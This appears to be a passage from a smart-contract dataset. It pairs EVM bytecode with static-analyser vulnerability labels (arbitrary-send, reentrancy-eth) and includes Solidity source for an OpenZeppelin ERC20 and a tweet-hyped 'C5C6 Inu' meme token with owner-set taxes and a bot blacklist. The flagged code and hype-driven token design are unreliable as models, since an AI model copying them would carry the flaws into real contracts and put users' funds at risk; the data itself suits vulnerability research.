905550612f0e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fa385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fef81613b84565b612ff98483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061307b87613a4a565b9550955095509550955095506130d986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061316e83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061320385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061324f81613b84565b6132598483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132db87613a4a565b95509550955095509550955061333987600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133ce86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061346383600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354481613b84565b61354e8483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135d087613a4a565b95509550955095509550955061362e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136c385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061370f81613b84565b6137198483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a549050600068056bc75e2d63100000905060005b6009805490508110156139ff578260026000600984815481106137d757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806138be575081600360006009848154811061385657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138dc57600a5468056bc75e2d6310000094509450505050613a46565b61396560026000600984815481106138f057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613ab290919063ffffffff16565b92506139f0600360006009848154811061397b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613ab290919063ffffffff16565b915080806001019150506137b8565b50613a1e68056bc75e2d63100000600a54612a3490919063ffffffff16565b821015613a3d57600a5468056bc75e2d63100000935093505050613a46565b81819350935050505b9091565b6000806000806000806000806000613a678a600c54600d54613d63565b9250925092506000613a77612cd5565b90506000806000613a8a8e878787613df9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613af483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612485565b905092915050565b600080828401905083811015613b7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b8e612cd5565b90506000613ba582846129ae90919063ffffffff16565b9050613bf981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613d2457613ce083600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d3e82600a54613ab290919063ffffffff16565b600a81905550613d5981600b54613afc90919063ffffffff16565b600b819055505050565b600080600080613d8f6064613d81888a6129ae90919063ffffffff16565b612a3490919063ffffffff16565b90506000613db96064613dab888b6129ae90919063ffffffff16565b612a3490919063ffffffff16565b90506000613de282613dd4858c613ab290919063ffffffff16565b613ab290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613e1285896129ae90919063ffffffff16565b90506000613e2986896129ae90919063ffffffff16565b90506000613e4087896129ae90919063ffffffff16565b90506000613e6982613e5b8587613ab290919063ffffffff16565b613ab290919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a31d2eb522d3c73220dcb07671a8d92ae41aa865b2f1be8e8979ea11b80e30af64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,021 |
0xd8164b8d21d2e97484de89bfff787d792c95ef2d
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/PandaToken.sol
contract PandaToken is ERC20 {
constructor() ERC20("Panda Token", "PT") {
_mint(_msgSender(), 100000000000 * 10 ** decimals());
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c391906107e1565b60405180910390f35b6100df6100da3660046107b8565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f36600461077d565b61026e565b604051601281526020016100c3565b6100df6101313660046107b8565b610324565b6100f361014436600461072a565b6001600160a01b031660009081526020819052604090205490565b6100b661035b565b6100df6101753660046107b8565b61036a565b6100df6101883660046107b8565b610405565b6100f361019b36600461074b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101d590610863565b80601f016020809104026020016040519081016040528092919081815260200182805461020190610863565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b6000610265338484610412565b50600192915050565b600061027b848484610536565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103055760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103198533610314868561084c565b610412565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610265918590610314908690610834565b6060600480546101d590610863565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156103ec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102fc565b6103fb3385610314868561084c565b5060019392505050565b6000610265338484610536565b6001600160a01b0383166104745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102fc565b6001600160a01b0382166104d55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102fc565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661059a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102fc565b6001600160a01b0382166105fc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102fc565b6001600160a01b038316600090815260208190526040902054818110156106745760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102fc565b61067e828261084c565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906106b4908490610834565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161070091815260200190565b60405180910390a350505050565b80356001600160a01b038116811461072557600080fd5b919050565b60006020828403121561073b578081fd5b6107448261070e565b9392505050565b6000806040838503121561075d578081fd5b6107668361070e565b91506107746020840161070e565b90509250929050565b600080600060608486031215610791578081fd5b61079a8461070e565b92506107a86020850161070e565b9150604084013590509250925092565b600080604083850312156107ca578182fd5b6107d38361070e565b946020939093013593505050565b6000602080835283518082850152825b8181101561080d578581018301518582016040015282016107f1565b8181111561081e5783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108475761084761089e565b500190565b60008282101561085e5761085e61089e565b500390565b600181811c9082168061087757607f821691505b6020821081141561089857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212206831f9c00fb6471bfa7c41904bb6274fe812c8b40f710c2bcca093f4ccfbbcbf64736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 4,022 |
0x9be03746584bc20bf946e14714cd816ed549258b
|
/*
https://t.me/c5c6inu
░█████╗░███████╗░█████╗░░█████╗░ ██╗███╗░░██╗██╗░░░██╗
██╔══██╗██╔════╝██╔══██╗██╔═══╝░ ██║████╗░██║██║░░░██║
██║░░╚═╝██████╗░██║░░╚═╝██████╗░ ██║██╔██╗██║██║░░░██║
██║░░██╗╚════██╗██║░░██╗██╔══██╗ ██║██║╚████║██║░░░██║
╚█████╔╝██████╔╝╚█████╔╝╚█████╔╝ ██║██║░╚███║╚██████╔╝
░╚════╝░╚═════╝░░╚════╝░░╚════╝░ ╚═╝╚═╝░░╚══╝░╚═════╝░
$C5C6 Inu
Token on Musk Tweet
Low Cap Stealth launch
https://twitter.com/elonmusk/status/1505789670776610817
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract musksinu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "C5C6 Inu";
string private constant _symbol = "C5C6 Inu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xa06B89B54e665664e9377B3Eb6b4ABf052314f64);
address payable private _marketingAddress = payable(0xa06B89B54e665664e9377B3Eb6b4ABf052314f64);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
